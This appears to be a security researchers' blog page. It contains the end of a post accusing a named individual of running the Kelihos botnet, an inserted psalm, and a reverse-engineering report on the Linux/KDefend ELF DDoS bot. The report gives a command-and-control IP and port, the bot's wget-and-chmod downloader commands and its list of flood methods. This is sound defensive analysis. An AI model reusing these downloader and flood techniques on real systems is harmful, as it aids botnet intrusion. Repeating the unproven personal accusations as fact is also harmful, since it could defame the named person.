94.76.78.20|94.76.78.20.freenet.com.ua.|31148 | 94.76.78.0/24 | FREENET | UA | freenet.com.ua | Freenet Ltd.
95.26.143.146|95-26-143-146.broadband.corbina.ru.|8402 | 95.26.0.0/15 | CORBINA | RU | beeline.ru | Beeline Broadband
95.65.55.6|95-65-55-6.starnet.md.|31252 | 95.65.0.0/17 | STARNET | MD | starnet.md | StarNet S.R.L
The snip of recent checked important IP addresses (in historical):

Follow up

With the good help from friends in EmergingThreat, the herder can kiss his botnet CNC traffic to its peers a goodbye from now on.

Epilogue

This post is as a new additional "sin" for ↓this cyber crook↓ against our internet services.
Only a stupid fool like ↑this herder makes same mistakes over and over.

If you want to see a solid proof that what so called "Petr Severa" is the herder of Kelihos botnet, please watch the slides and video for our BotConf presentation in 2013 posted in BotConf Website [link].

POC OF CORRECT INVESTIGATION :-)
The botherder closed the CNC 2 dedicated servers with its 10 IP addresses in USA that we disclosed in this post - #MalwareMustDie *SMACKED* Severa (again!)

If you have doubt of any truth stated in this post, see yourself the reaction of the botherder after we released this disclosure, the botherder had closed the account of the dedicated servers mentioned in this post (it was much more viewable before the censorship request received) in December 2015 after the original post was published online. Some PoC of this paragraph is the information below:

This herder is a Russian national, a known cyber crime actor resides in Russia Federation's St. Petersburg, and he is still out there lurking all of us with his botnet which is actively malvertised its initial infection for expansion purpose via a known Exploit Kit, and affiliated in several malware campaign distribution until today. We, reported his positive real identification and evidence of his crime records since 2013, and he is still out there "untouchable by law", controlling his botnet and making illegal money from it. From now on, in every new years to come, if he is still operated freely, we will disclose deeper and deeper details of the actor's threat + infrastructure he has, and we won't stop until he stopped or be stopped. It's a promise.

For people who says we are vigilante, we're not the bad guys, he is. We're asking for a crime to be stopped, by law we believed in. Until the law is preserved against this asshole, we will keep on disturbing him.

#MalwareMustDie!

* * * Psalm 139 - God Knows Everything * * *

139 Lord, you have examined me
    and know all about me.
2 
You know when I sit down and when I get up.
    You know my thoughts before I think them.
3 
You know where I go and where I lie down.
    You know everything I do.
4 
Lord, even before I say a word,
    you already know it.
5 
You are all around me in front and in back
    and have put your hand on me.
6 
Your knowledge is amazing to me;
    it is more than I can understand.
7 
Where can I go to get away from your Spirit?
    Where can I run from you?
8 
If I go up to the heavens, you are there.
    If I lie down in the grave, you are there.
9 
If I rise with the sun in the east
    and settle in the west beyond the sea,
10 
even there you would guide me.
    With your right hand you would hold me.
11 
I could say, “The darkness will hide me.
    Let the light around me turn into night.”
12 
But even the darkness is not dark to you.
    The night is as light as the day;
    darkness and light are the same to you.
13 
You made my whole being;
    you formed me in my mother’s body.
14 
I praise you because you made me in an amazing and wonderful way.
    What you have done is wonderful.
    I know this very well.
15 
You saw my bones being formed
    as I took shape in my mother’s body.
When I was put together there,
16 
you saw my body as it was formed.
All the days planned for me
    were written in your book
    before I was one day old.
17 
God, your thoughts are precious to me.
    They are so many!
18 
If I could count them,
    they would be more than all the grains of sand.
When I wake up,
    I am still with you.
19 
God, I wish you would kill the wicked!
    Get away from me, you murderers!
20 
They say evil things about you.
    Your enemies use your name thoughtlessly.
21 
Lord, I hate those who hate you;
    I hate those who rise up against you.
22 
I feel only hate for them;
    they are my enemies.
23 
God, examine me and know my heart;
    test me and know my anxious thoughts.
24 
See if there is any bad thing in me.
    Lead me on the road to everlasting life.

#MalwareMustDie!

Friday, December 4, 2015

MMD-0045-2015 - KDefend: a new ELF threat with a disclaimer

Background

It's been a while not writing new analysis in our blog & this timing is just perfect.
On December 1st, 2015 this sample was detected by our ELF team member @benkow_

..and our ELF Team started to investigate the threat and come into conclusion that another new ELF malware was spotted, and post this is the report. It was calling itself "KDefend" or "KDLinux", so we call it as "Linux/KDefend" then. We separate some tasks in members in this report, and will cover to highlights of this new malware hopefully will help others in tracking and mitigating the threat for the future. I will do the ELF binary analysis to figure what kind of threat it is, with some pointer hint in my analysis that hopefully can be useful for fellow UNIX sysadmins and malware researchers.

The KDefend; How does it look like?

It is a bit unusual to our post, but I decided to write the behaviour part first this time for you to see the fact that we would like to stress in this new malware finding.
The binary is in here -->[virustotal] with the below status:

[0x08049880]> !file task
task: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, 
      interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, not stripped
[0x08049880]> !md5 task
MD5 (task) = f93d664aac485af82ec863c251626441
[0x08049880]> !size task
   text    data     bss     dec     hex filename
  44871    1396  772660  818927   c7eef task
Upon execution it will show a nice logo:

Please don't mind my shell's language & character setting is just unmatched to original encoding and caused the garbled result in the screenshot, it's not a problem. With a good team work (thank's to @wirehack7 for good chinese decoding tip) I reversed the function that printed and decoded the characters used to show the original chinese language used, and then we also "free-translated" it too as per below:

So now you see.. here it is, that message in the logo is our other main topic for today, we have a new malware pretending as a stress tool and having a "disclaimer message" as per shown above.
*) Noted: the translation was a free translation level, feel free to help in correcting it. Thanks!

How does the infection (attacker, panel and CNC) go?

Well okay, first, let's see if this so called "stress tool" was being used as per what its disclaimer said... Which is unfortunately not. It was found in action during its effort to infect a linux server with the SSH brute access as per logged below:

The attacker IP & download panel IP is all 60.190.216.225 and it looks like the CNC is set to same IP too:

Connecting to 60.190.216.225 8090..
unknown [60.190.216.225] 8090 open
Connection to 60.190.216.225 8090 port [tcp/*] succeeded!
MMD-LOVE-ELF->60.190.216.225:8090 (ESTABLISHED)
it's showing the location somewhere in PRC/China:
[0x08049880]> !ipchk geo 60.190.216.225
-----------------------------------------------------------
ipchk-shell 1.5 FreeBSD version - by @unixfreaxjp
-----------------------------------------------------------
Source : geo
IP     : 60.190.216.225
-----------------------------------------------------------
geoip:
{
  "ip": "60.190.216.225",
  "hostname": "No Hostname",
  "city": "Shaoxing",
  "region": "Zhejiang Sheng",
  "country": "CN",
  "loc": "30.0110,120.5715",
  "org": "AS4134 No.31,Jin-rong Street"
}
So this malware was homing to the mothership and sending its initial traffic which is the infected machine's sensitive information like what we recorded here:

...and it is stated:
     it's prohibited for illegal use
     the author is not responsible  
Sweet! :) we can go back to this "moral issue" later on. Let's move on first to peel this a bit more..

How is it built?

Below is the details on how this malware was built, mind the text format. Please refer to the status of the binary above beforehand. There's nothing so special in it, but it's always good to know these level of information:

// compiler:
        GCC 3.0

// compilation environment:
        GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-44)

// linked libraries used
        linux-gate.so.1 =>  (0xb7749000)
        libpthread.so.0 => /lib/i386-linux-gnu/i686/cmov/libpthread.so.0 (0xb7724000)
        libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb7638000)
        libm.so.6 => /lib/i386-linux-gnu/i686/cmov/libm.so.6 (0xb7611000)
        libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb75f4000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7490000)
        /lib/ld-linux.so.2 (0xb774a000)

// first copy of libs listed in ELF 1st image addresses can be found below:
000000000134  /lib/ld-linux.so.2
0000000007C5  libpthread.so.0
000000000881  libstdc++.so.6
000000000C5F  libm.so.6
000000000C69  libgcc_s.so.1
000000000C86  libc.so.6

// these are the source codes resource:

---------------------
1. 0x011851   main(.cpp)
---------------------

---------------------
2. 0x00E641   crtstuff.c 
(BE NOTED: This is a GCC constructors/destructors for C++ obj/Open Source)
---------------------
*)ref: http://www.opensource.apple.com/source/gcc/gcc-5488/gcc/crtstuff.c
0x00E64C   __CTOR_LIST__
0x00E65A   __DTOR_LIST__
0x00E668   __JCR_LIST__
0x00E675   dtor_idx.5793
0x00E683   completed.5791
0x00E692   __do_global_dtors_aux
0x00E6A8   frame_dummy
0x00E6B4   __CTOR_END__
0x00E6C1   __FRAME_END__
0x00E6CF   __JCR_END__
0x00E6DB   __do_global_ctors_aux

-------------------------
3. 0x00E6F1   synserv.cpp
-------------------------
0x00E6FD   _GLOBAL__I_dout
0x00E70D   __tcf_6
0x00E715   _Z41__static_initialization_and_destruction_0ii
0x00E745   _ZSt8__ioinit
0x00E753   __tcf_4
0x00E75B   __tcf_5
0x00E763   __tcf_3
0x00E76B   _ZZ12GetTxPpsByIfRKSsiE7s_ticks
0x00E78B   __tcf_2
0x00E793   _ZZ12GetTxPpsByIfRKSsiE9s_packets
0x00E7B5   __tcf_1
0x00E7BD   _ZZ6GetPPSPciE7s_ticks
0x00E7D4   __tcf_0
0x00E7DC   _ZZ6GetPPSPciE9s_packets
0x00E7F5   _ZZ6GetCpuvE3s_u
0x00E806   _ZZ6GetCpuvE3s_i
0x00E817   _ZZ6GetCpuvE3s_s
0x00E828   _ZZ6GetCpuvE3s_n
0x00E839   _ZGVZ12GetTxPpsByIfRKSsiE9s_packets
0x00E85D   _ZGVZ12GetTxPpsByIfRKSsiE7s_ticks
0x00E87F   _ZGVZ6GetPPSPciE9s_packets
0x00E89A   _ZGVZ6GetPPSPciE7s_ticks
0x00E8B3   _ZGVZ12SendCPUUsagevE9lastConID
0x00E8D3   _ZZ12SendCPUUsagevE9lastConID
0x00E8F1   _ZZ12SendCPUUsagevE14s_lastCpuUsage

---------------------
4. 0x00E915   syn.cpp
---------------------
0x00E91D   _GLOBAL__I_g_cycleInfo
0x00E934   g_sockArray
0x00E940   g_cycleSynDip
0x00E94E   g_pktsSize
0x00E959   g_pktsBufferQueue
0x00E96B   g_pktsBufferQueueInit
0x00E981   g_lockSockCreation
0x00E994   g_lockSockIdx
0x00E9A2   g_sockIdx
0x00E9AC   __preinit_array_start
0x00E9C2   __fini_array_end
0x00E9D3   _GLOBAL_OFFSET_TABLE_
0x00E9E9   __preinit_array_end
0x00E9FD   __fini_array_start
0x00EA10   __init_array_end
0x00EA21   __init_array_start
0x00EA34   _DYNAMIC
0x00EA3D   data_start
I don't know how to comment here..except a unix programming beginner is coding and compiling a .cpp coded malware. It's always good (at least for my research) to know how or where the source is and what libraries are used, so we can know exactly where to after our malcodes. In analysis of a dynamic linked ELF binary, like this case, I used to breakdown each library before start hitting any disassembler to reverse the purpose.

The short explanation of the libraries used above are:
linux-gate.so.1 is known as a virtual DSO, a shared object exposed by the kernel at a fixed address in every process' memory. ld-linux.so.2 is a "locator" to load the dynamic libraries it needs for execution, it searches for and loads the unresolved libraries, and then it passes control to the application starting point. libm.so.6 contains functions to mathematical process libs. libpthread.so.0 (POSIX threads) is used for threaded programming, in this code it was used for send, connect, recvfrom, sendto and its threat connection mutex. libstdc++.so.6, libgcc_s.so.1, and libc.so.6 is for cpp and GCC/libc programming base functions. The leftover ones are mostly the source code related trails.

What does it do? How does it run? A summary..

It is an explanation on an idea on how it firstly runs. After the loading & print "that logo" data, it starts the daemonized UDP listener & threading its process to listen into UDP/52066. So this is the backdoor function number one. Upon failed binding into UDP/52066 it will retry and upon succeed it will use another backdoor connection to the hard coded CNC IP/port via DDosSock_Init/0x0804cb8c (see the ip/port written in above section), then start to harvest the data of client to be in communication with their mothership (via ConnectClient/0x0804cb9a).

Noted the UdpLitenThread typo, it is really a "Deja Vu" typo for a specific previous malware case and coder's MO, I will go to that soon..

From above step, it utilized an "almost generic" CreateConnectSocket()/0x0804a3ac for the remote connection, it uses original GetSysinfo() (0x0804A0DE) for information harvest purpose that is responsible for the initial data sent in the pcap captured at above section.

You'll also see further backdoor functions executed like NetPPS and CPUUsage will be used to send its self-explanatory data to the mothership. The important part is, in the SendNetPPS() function you'll see the usage of "ifconfig" shell command used for grabbing the transmitted packet data (see in subs GetTxPacketsMap), was executed and piped with "grep" for its desired data:

Well, as you saw in above section, I blocked the ifconfig in the path searched by this malware:

and did you see how the data sent to the CNC? While it can't grep, it seems it doesn't implement the error trapping and the variable names stays there as per it is :) That's why I personally think it's an amateur was hired to make this code, maybe we just have to seek for a youth malcode programmer again for it.

It has another backdoor too like: the updater function, it was calling DealwithUpdate()/0x0804B5EE for getting the updates with kicking another shell command "wget -t3 -O", refer to function download()/0x804b67b:

Upon post-downloading, the executable permission is set, using "chmod -R 777" for further process:

*) Noted:
1. Most of operation invoking shell or pipes are driven by using the stdio.h's popen() and pclose().
2. It notices itself as "KDLinux" that can be seen in the download process.

More information that are interesting to dig: (1) The UDP opened port was meant to receive encoded data for being used as a bot operational purpose, it has the decoder function (xref: 0x0804cce9) for that purpose. (2) This is a DDoS'er bot: the attack vectors is controlled by DealwithDDoS() main function, used are covering some basics and what they call it as "Cycle" a custom SYN flood attack (will not going to discuss it "too" detail in here), as per listed below:

  TcpFloodThread ; send some tcp packets
  NormalSendThread ; socket connecting and flood
  NormalUdpPacketThread ; simple UDP connect and flood
  NormalSynPacketThread ; simulate SYN connection to flood
  NormalDnsSendThread ; connects & manipulates DNS search..not sure how to apply this
  CycleSynSendThread ; original made SYN attack
  SynSendThread_Old ;; // it's uncoded
Furthermore, the DealwithDDoS() is the function that is commonly used in Chinese actor's made ELF flooder malware since Linux/Elknot DDoS'er bot variant era, then Linux/AES.DDoS and Linux/Mr.Black are also using this function as their main attack manager function until now. If you follow ELF Workshop Malware Analysis that I am doing, I made and demonstrated a simple personal ELF analysis system that I called it as "ELF skeleton (literally looks like skeleton)", it has the function scanning to check calls like this, below is the snapshot of its check result on DealwithDDoS():
*) Noted: It shows that the ChinaZ is in the list, but that is actually the AES.DDOS malware they used(parent of Mr.Black for router basis ELF malware).

So what this malware does? It's a backdoor (bind/listen to an opened port, making unnoticed callback to a remote host & send server's sensitive information), it's a remote bot client for DDOS attack purpose that receiving encoded commands via connected ports, A Trojan Downloader too (for updates purpose apparently..but who knows what can be expanded/applied more in here), and these are the major functionality of this malware.

Is it meant to be a tool as per stated in the disclaimer? No way. The way it decodes commands, the specific flood used, the backdoor (homing and listening to open port) functions and the trojan-like downloader part, altogether doesn't show any of good tool specification.

Who's the possible actor of this incident?

Could this be another ChinaZ's new malware experiment? Why not. Judging by their development MO (leftover unwanted function uncoded instead eliminated them), copy pasting known other China ELF malware's functions, networking used and some of their typical typo, ASCII & symbols "china brand" are matched to some incidents of ChinaZ actors, we have strong possibility for it.

The ChinaZ group is also the most aggressive one in the market in research and development for the new trojan ddoser, they made new codes, buying other chinese ELF sources, contacting several C coders to combine functionality to make a better ELF bruter trojans, like this.

Epilogue: A DDoS'er with "Disclaimer" vs "Rule of Engagement"

We think the message used in "Disclaimer" part is an important aspect here. The coder is trying to bend the responsibility of what he coded by writing few lines to dodge from responsibility. This smells just as the same excuse used as previous ChinaZ coder spotted in the GitHub [link]. Below are the opinions from our team mates due to this "Disclaimer issue" that I think it is worth to share as opinions, and please feel free to tweet us your opinion to be added in this post.

"I believe in RoE - "Rules of engagement". It is super bad violation of RoE to use these tools against something you do not own, or have well and just cause to discharge against. The internet is not having a certain rules, just like a battlefield, and everyone is armed, or can potentially become armed. So discipline is utterly paramount to having a stable and peaceful internet. It is a major violation of RoE to use these tools against something you do not own or don't have a well and just cause to do so." @yinettesys

"Creating illegal tools remains illegal, even if you write "only for legal use". No matter "un-harmful" it is stated. This program is clearly meant to harm other host in internet. It's the same to forbid the creation of bombs but then normal people are creating some for "research use. This disclaimer is used by malware authors writing to dodge laws. "Don't use for illegal things"..words is bailing out and tacking the backdoor with "use only for legal purposes" which is never making any sense. It's just like you are admitting there that you actually know that actions performed by this tool is illegal but spread it anyway with making it public aka releasing it, and then a bad person using it.." @wirehack7

"The similar disclaimer for many DDoS tools is a trend now, specially in the DDoS related services or threat. And this malware coder is seeing how that disclaimer method is effective and just utilizing it. Hopefully our law can see how dangerous this tool it is by function explained in this analysis, and see by the real penetration/infection/attack that is currently distributed. There is no legality on its scheme. It is a malware with its complete malicious functions intact, and the malware coder has his own responsibility to build such aggressive software." @unixfreaxjp

Latest Memo:

All analysis was done (as usual) in FreeBSD unix shell with radare, only ELF skeleton that's using different scheme. Thank's to help/support from MMD ELF team mates, MMD folks and all malware fighter-brotherhood for motivating us to keep on posting.

Follow up:

Please stay safe! #MalwareMustDie!